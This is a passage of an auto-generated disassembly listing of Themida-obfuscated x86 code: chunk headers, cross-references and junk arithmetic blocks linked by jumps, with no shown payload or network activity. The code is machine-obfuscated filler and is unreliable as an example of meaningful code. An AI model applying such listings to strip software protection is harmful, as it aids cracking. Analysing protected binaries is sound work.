		jmp	loc_5AC0E9
; END OF FUNCTION CHUNK	FOR sub_59E640

; =============== S U B	R O U T	I N E =======================================



sub_597C68	proc near		; CODE XREF: sub_5AE919-E421j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005982C4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005999D9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599B7D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059B33B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059C141 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D448 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059D6AB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059D81A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059E97A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059ECF8 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059F7DB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A182D SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005A1E81 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2386 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2C1E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A3B22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A4963 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A5084 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A54A3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A57C7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5D03 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A71EF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A8FD3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA1E6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AA3C2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005ACBF9 SIZE 0000001E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 6B8842EBh
		inc	edi
		jnp	loc_59F7DB
		sub	edi, 38865C88h
		mov	bl, 49h
		mov	ecx, esi


loc_597C87:				; CODE XREF: Themida_:0059D8DEj
		sub	ebx, 218F5363h
		jmp	loc_59D6AB
sub_597C68	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB72D


loc_597C92:				; CODE XREF: sub_5AB72D-7865j
		js	loc_5ABA1B
		jmp	loc_5ABF37
; END OF FUNCTION CHUNK	FOR sub_5AB72D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_597C9D:				; CODE XREF: sub_5A41D6-A8BAj
		sub	esi, 6EE1696Dh
		sub	esi, 730A5204h
		add	esi, edi
		add	esi, 730A5204h
		add	esi, 6EE1696Dh
		jmp	loc_59D468
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
		push	2A0Dh
		mov	[esp], ebx
		push	ecx
		jmp	loc_5A1FE0
; ---------------------------------------------------------------------------


loc_597CCA:				; CODE XREF: Themida_:005A666Dj
		add	esp, 4
		sub	esp, 4
		jmp	loc_59961E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_597CD8:				; CODE XREF: sub_59D99C+EAF3j
		pop	ebp
		add	ebx, eax
		pop	eax
		push	eax
		push	31B0h
		jmp	loc_59CDAC
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_597CE7:				; CODE XREF: sub_5A28BE+2C8Bj
		sub	bl, cl
		sub	bl, 16h
		push	dword ptr [esp+0]
		pop	ecx
		push	esi
		mov	esi, esp
		jmp	loc_59ED4A
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_597CF8:				; CODE XREF: sub_5A8D43-286Dj
		xchg	eax, [esp+4+var_4]
		jmp	loc_5A4932
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_597D00:				; CODE XREF: Themida_:005AB71Fj
		neg	edx
		neg	edx
		not	edx
		xor	edx, 8206B154h
		add	ebp, edx
		jmp	loc_5A76CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_597D13:				; CODE XREF: sub_5A141E+C587j
		push	ecx
		mov	ecx, 23C51B36h
		push	680Fh
		mov	[esp+8+var_A+2], ebp
		mov	ebp, 6DA6325Bh
		add	ebx, 728466ECh
		add	ebx, ebp
		sub	ebx, 728466ECh
		jmp	loc_5A3B5D
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_597D39:				; CODE XREF: sub_59FDC7+601Cj
		pop	edi
		jmp	loc_5A4BC5
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------


loc_597D3F:				; CODE XREF: Themida_:00599ECAj
		mov	[esp], edx
		mov	edx, 4FB35597h
		sub	edx, 3B53680Dh
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	eax, edi
		jmp	loc_59A88A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_597D5F:				; CODE XREF: sub_5A1340+924Cj
		mov	bh, ah
		pop	eax
		sub	esp, 4
		mov	[esp+0], edx
		mov	dh, bh
		mov	cl, dh
		pop	edx
		pop	ebx
		jmp	loc_5ACCDE
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------


loc_597D76:				; CODE XREF: Themida_:005ACBADj
		or	edx, 63FC2420h
		jz	loc_5A18BE
		jmp	loc_5A2DEA
; ---------------------------------------------------------------------------


loc_597D87:				; CODE XREF: Themida_:005A90B1j
		add	ebx, 553A0921h
		pop	esi
		add	ebx, 1FB5365Fh
		add	ebx, edi
		sub	ebx, 1FB5365Fh
		sub	ebx, 14D5313Eh
		pop	edi
		sub	edi, 2CED4EBAh
		add	edi, ebx
		jmp	loc_599A95
; ---------------------------------------------------------------------------


loc_597DB0:				; CODE XREF: Themida_:005A6538j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		or	[edi+1Ch], edx
		push	dword ptr [esp]
		jmp	loc_59D9C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_597DCD:				; CODE XREF: sub_5AC95F-9204j
		add	[esp-8+arg_8], esi
		sub	[esp-8+arg_8], 460E0624h
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_598CF0
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_597DE4:				; CODE XREF: sub_5A8D43-103CBj
					; sub_5A8D43-F3Ej
		dec	esi
		sub	esi, 8E97AC8Bh
		sub	edi, 5D012D5Ah
		add	edi, esi
		add	edi, 5D012D5Ah
		jmp	loc_59AC40
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F5C0


loc_597DFE:				; CODE XREF: sub_59F5C0+34F0j
		xor	[esp+arg_0], ebp
		pop	ebp
		mov	edx, [esp-4+arg_0]
		jmp	loc_5A3F90
; END OF FUNCTION CHUNK	FOR sub_59F5C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_597E0B:				; CODE XREF: sub_5A8C33-32F6j
		sub	eax, 7316CFAh
		sub	eax, 6ECD5976h
		sub	eax, ecx
		add	eax, 6ECD5976h
		add	eax, 7316CFAh
		jmp	loc_5993BE
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_597E26:				; CODE XREF: sub_59C53B+1Dj
		add	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		push	edi
		mov	edi, 270954B5h
		and	edi, 62B25B1Ah
		jb	loc_5A6AB3
		jmp	loc_5999CE
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------


loc_597E49:				; CODE XREF: Themida_:005AD270j
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	46E3216Dh
		pop	ebp
		jmp	loc_5A75A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_597E6C:				; CODE XREF: Themida_:005A7AA0j
					; sub_5AC402-2D40j
		mov	edi, edx
		mov	edx, [esp+0]
		add	esp, 4
		and	ebp, edi
		jmp	loc_5A9C0D
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------


loc_597E7E:				; CODE XREF: Themida_:005A021Aj
		push	edi
		jmp	loc_5A6484
; ---------------------------------------------------------------------------


loc_597E84:				; CODE XREF: Themida_:005A3654j
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A7216
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_597E99:				; CODE XREF: sub_5A34FD+C82j
					; Themida_:005AEE0Ej
		pop	cx
		add	bl, 0CCh
		sub	bl, 6Dh
		add	bl, al
		push	dx
		mov	dh, 6Dh
		add	bl, dh
		jmp	loc_59EB04
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_597EAE:				; CODE XREF: sub_5A8899-F845j
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp+10h+var_10]
		jmp	loc_59F992
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B9F


loc_597EBC:				; CODE XREF: sub_5A4470-6559j
					; sub_5A1B9F-FDCj
		add	ebx, 7FA77D7Dh
		jmp	loc_5A8110
; END OF FUNCTION CHUNK	FOR sub_5A1B9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_597EC7:				; CODE XREF: sub_5A8C33-1FF3j
					; sub_5A1B2A+78E2j
		push	5E81h
		jmp	loc_5AEB15
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_597ED1:				; CODE XREF: sub_5AC95F-E6CFj
		inc	cl
		jmp	loc_59A790
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A70C2


loc_597ED8:				; CODE XREF: sub_5A70C2-3D89j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A70C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA500


loc_597EDD:				; CODE XREF: sub_5AA500-16BAj
		add	esp, 4
		xchg	eax, ebp
		push	eax
		jmp	loc_5AE196
; END OF FUNCTION CHUNK	FOR sub_5AA500
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_597EEA:				; CODE XREF: sub_5ADE3B-5965j
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5A4D1E
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_597EF8:				; CODE XREF: sub_5A3F42-9FFFj
					; sub_5AC95F:loc_59BFE5j
		jle	loc_5A404D
		add	esi, 0C481758Fh
		mov	ebx, esi
		pop	esi
		jmp	loc_5A2743
; END OF FUNCTION CHUNK	FOR sub_5A3F42

; =============== S U B	R O U T	I N E =======================================



sub_597F0C	proc near		; CODE XREF: Themida_:0059CF96j
					; sub_59C53B+EC97j

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 00598166 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598AC9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00598CB8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059A309 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059A98B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059B4BC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B7E2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059BCFD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C1E6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059C5C9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C8CD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059E1E8 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059E7BB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059FCDC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0080 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A0339 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A03D4 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A12E6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A1FCB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A23C2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A248F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2E58 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A3732 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A38DE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3FA1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A49E7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A4BB1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A673A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A6C54 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7332 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A7AA5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7B7E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A7EDE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A829F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A86B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A91A6 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A9399 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9756 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A9D2C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A9F60 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AA008 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005AA132 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AA2BD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AAFC3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AAFF3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AC88D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005ACD34 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005ADB45 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AE203 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AE2B4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AE7F5 SIZE 0000000E BYTES

		push	ebx
		mov	bl, 0AEh
		jmp	loc_5AC88D
sub_597F0C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_597F14:				; DATA XREF: Themida_:005978D9o
		mov	ax, [esp]
		jmp	loc_59A129
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5991B7


loc_597F1D:				; CODE XREF: sub_5991B7+14653j
		dec	dh
		not	dh
		and	dh, 47h
		dec	dh
		add	dh, 53h
		xor	ch, dh
		pop	edx
		jmp	loc_59C2A9
; END OF FUNCTION CHUNK	FOR sub_5991B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_597F31:				; CODE XREF: sub_598462+22C9j
		sub	ch, 0D5h
		sub	al, ch
		pop	ecx
		jmp	loc_5A2639
; END OF FUNCTION CHUNK	FOR sub_598462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B73


loc_597F3C:				; CODE XREF: sub_5A3B73-140Aj
		xor	esi, 0BDAFE0DBh
		jmp	loc_5AC648
; END OF FUNCTION CHUNK	FOR sub_5A3B73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_597F47:				; CODE XREF: sub_59D99C-252Ej
					; sub_5A3F42+27F3j
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		add	ecx, 282A2D96h
		jmp	loc_59B0D7
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_597F58:				; CODE XREF: sub_5AC95F-E7E4j
		xor	ebx, 0FB033334h
		jmp	loc_5AC66E
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_597F63:				; CODE XREF: sub_5A02EA+7513j
		xchg	edi, [esp+0Ch+var_C]
		jmp	loc_59C84E
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_597F6B:				; CODE XREF: sub_5ACD64-725Ej
		add	esi, ecx
		pop	ecx
		xor	esi, 5EEA0C97h
		or	esi, 1C81869h
		shr	esi, 1
		add	esi, 0D5025106h
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	ecx
		push	[esp-4+arg_4]
		pop	ecx
		pop	[esp-4+arg_0]
		jmp	loc_599593
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EF66


loc_597F9C:				; CODE XREF: sub_59EF66+101C5j
		pop	edx
		and	eax, ebx
		jmp	loc_598E71
; END OF FUNCTION CHUNK	FOR sub_59EF66
; ---------------------------------------------------------------------------


loc_597FA4:				; CODE XREF: Themida_:005A5075j
		add	edi, 31A75477h
		add	edi, eax
		sub	edi, 31A75477h
		pop	eax
		push	eax
		mov	eax, 72D95CF3h
		jmp	loc_5A936D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE919


loc_597FBE:				; CODE XREF: sub_5AE919+10j
		mov	ebx, 1B095E69h
		shl	ebx, 2
		jmp	loc_5A5A8E
; END OF FUNCTION CHUNK	FOR sub_5AE919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_597FCB:				; CODE XREF: sub_59F2C8+24CAj
		pop	esp
		jmp	loc_59A0D7
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------


loc_597FD1:				; CODE XREF: Themida_:0059FC6Ej
		push	dword ptr [edx]
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	4B17h
		jmp	loc_5A86D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_597FE2:				; CODE XREF: sub_599721+13222j
		pop	esi
		add	edi, 1
		push	4EF6h
		mov	[esp+4+var_4], edx
		mov	edx, 74494BB2h
		jmp	loc_5A87CA
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_597FF8:				; CODE XREF: sub_5A3F42+3EE1j
		add	edi, ebp
		jmp	loc_5A4D43
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------


loc_597FFF:				; CODE XREF: Themida_:005AC20Ej
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5AB647
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_598009:				; CODE XREF: sub_5A8F00-1F14j
		and	ebx, 64BD7242h
		sub	ebx, 5DC293CAh
		push	ebp
		jmp	loc_5A42D0
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------


loc_59801B:				; CODE XREF: Themida_:005A6A5Cj
		mov	[esp], esi
		push	29E1h
		mov	[esp], ebx
		push	edi
		jmp	loc_5AE0EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59802C:				; CODE XREF: sub_5A8C33-3A26j
		push	esi
		jmp	loc_5A3DA7
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_598032:				; CODE XREF: sub_59B707+645Dj
		xor	edx, [esp+4+var_4]
		xor	[esp+4+var_4], edx
		xor	edx, [esp+4+var_4]
		jmp	loc_5A16D2
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_598040:				; CODE XREF: sub_59CA4A+1413j
		shr	eax, 3
		jns	loc_5991AA
		jmp	loc_5A3704
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
		mov	[esp], edx
		mov	eax, ecx
		and	al, 0A0h
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_598055:				; CODE XREF: sub_59D99C+DC60j
		mov	esi, edi
		jmp	loc_5AE196
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A24F4


loc_59805C:				; CODE XREF: sub_5A24F4+66F9j
		inc	ebp
		sub	ebp, 6A8F4688h
		push	edx
		mov	edx, 0A7A35226h
		sub	ebp, edx
		pop	edx
		xor	eax, ebp
		pop	ebp
		sub	ecx, eax
		pop	eax
		push	edx
		mov	edx, 6B852CB1h
		add	ecx, edx
		pop	edx
		add	ecx, 51B5096Ah
		add	ecx, 67AF3650h
		sub	ecx, edi
		sub	ecx, 67AF3650h
		jmp	loc_5A7E2E
; END OF FUNCTION CHUNK	FOR sub_5A24F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_598094:				; CODE XREF: Themida_:0059F43Cj
					; sub_5986D6+C87Dj
		push	42D4h
		mov	[esp+8+var_8], ebx
		mov	ebx, 45866863h
		push	eax
		jmp	loc_59A950
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5980A7:				; CODE XREF: sub_5A600F+1C13j
		or	ch, 36h
		push	eax
		mov	ah, 2Bh
		sub	ah, 0AAh
		xor	ch, ah
		pop	eax
		push	edx
		jmp	loc_598803
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_5980B9:				; CODE XREF: Themida_:005A9F7Fj
		sub	esp, 4
		jmp	loc_5AA84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_5980C1:				; CODE XREF: sub_5A8899-7A01j
		add	esp, 4
		push	eax
		push	edx
		jmp	loc_5A3D59
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_5980CE:				; CODE XREF: sub_59FDC7+C870j
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		pop	esp
		shr	[esp-4+arg_0], cl
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5980ED:				; CODE XREF: sub_59C53B+11DDCj
		xor	ecx, 6DB34850h
		jp	loc_59F83F
		dec	ecx
		not	ecx
		dec	ecx
		jle	loc_59E9D5
; END OF FUNCTION CHUNK	FOR sub_59C53B
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_598103:				; CODE XREF: sub_5A8C33-9CF9j
		sub	ecx, 6CE84E8Bh
		mov	ebx, ecx
		jmp	loc_5ACB82
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_598110:				; CODE XREF: sub_5AC95F-FC7Cj
		mov	edx, 76394A90h
		jmp	loc_5A19A0
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59811A:				; CODE XREF: sub_59C53B+E1D5j
		push	5C80h
		jmp	loc_59C5BD
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_598124:				; CODE XREF: sub_5A8D43:loc_5A99A8j
		shr	edi, 3
		xor	edi, 8A244D3h
		jmp	loc_59B38A
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_598132:				; CODE XREF: sub_5AB3DC-C195j
		mov	edi, 3BE04951h
		xor	ecx, edi
		pop	edi
		push	edi
		mov	edi, 1
		jmp	loc_5A645B
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------


loc_598145:				; CODE XREF: Themida_:0059D9D3j
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A6785
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_59815A:				; CODE XREF: sub_5AE0B5-A1A2j
		pop	ebp
		add	esi, 382A10B4h
		jmp	loc_5A877A
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_598166:				; CODE XREF: sub_597F0C:loc_5A86B6j
		xor	cl, 35h
		jmp	loc_59A98B
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BD3A


loc_59816E:				; CODE XREF: sub_59BD3A+107AEj
		push	eax
		mov	eax, 24h
		sub	eax, 7D214583h
		jmp	loc_5A0A0F
; END OF FUNCTION CHUNK	FOR sub_59BD3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59817E:				; CODE XREF: sub_59B707+4053j
		pop	ecx
		push	edi
		jmp	loc_5A48FE
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_598185:				; CODE XREF: sub_5A7343+353Aj
		add	esi, 28BF3BCAh
		mov	edx, esi
		pop	esi
		jmp	loc_5ACE77
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_598193:				; CODE XREF: sub_5A91EC+5A0Aj
		pop	edi
		or	edx, 21AA63BAh
		sub	edx, 7925D1B8h
		xor	edi, edx
		jmp	loc_5AB81F
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5981A7:				; CODE XREF: sub_59CA4A+7C70j
					; sub_5A3F42+8D84j
		pop	[esp+4+var_4]
		pop	esp
		push	esp
		pop	dword ptr [esp+0]
		add	[esp-4+arg_0], 4
		pop	esi
		push	3912h
		mov	[esp-4+arg_0], ecx
		push	ebx
		push	esp
		jmp	loc_59F650
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5981C6:				; CODE XREF: sub_5A141E+57D8j
		mov	si, 2FD7h
		push	ecx
		jmp	loc_5A24CD
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5981D0:				; CODE XREF: sub_5AEE2E-10A4Ej
		pop	eax
		xor	dl, ch
		push	[esp-4+arg_0]
		mov	ecx, [esp+0]
		add	esp, 4
		add	esp, 4
		push	eax
		jmp	loc_59E693
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5981E8:				; CODE XREF: sub_59D99C+3363j
		pop	ecx
		sub	ecx, 25D1EB7Eh
		xor	eax, ecx
		pop	ecx
		add	esi, eax
		jmp	loc_5A963F
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================



sub_5981F9	proc near		; CODE XREF: sub_59852D+155BAj

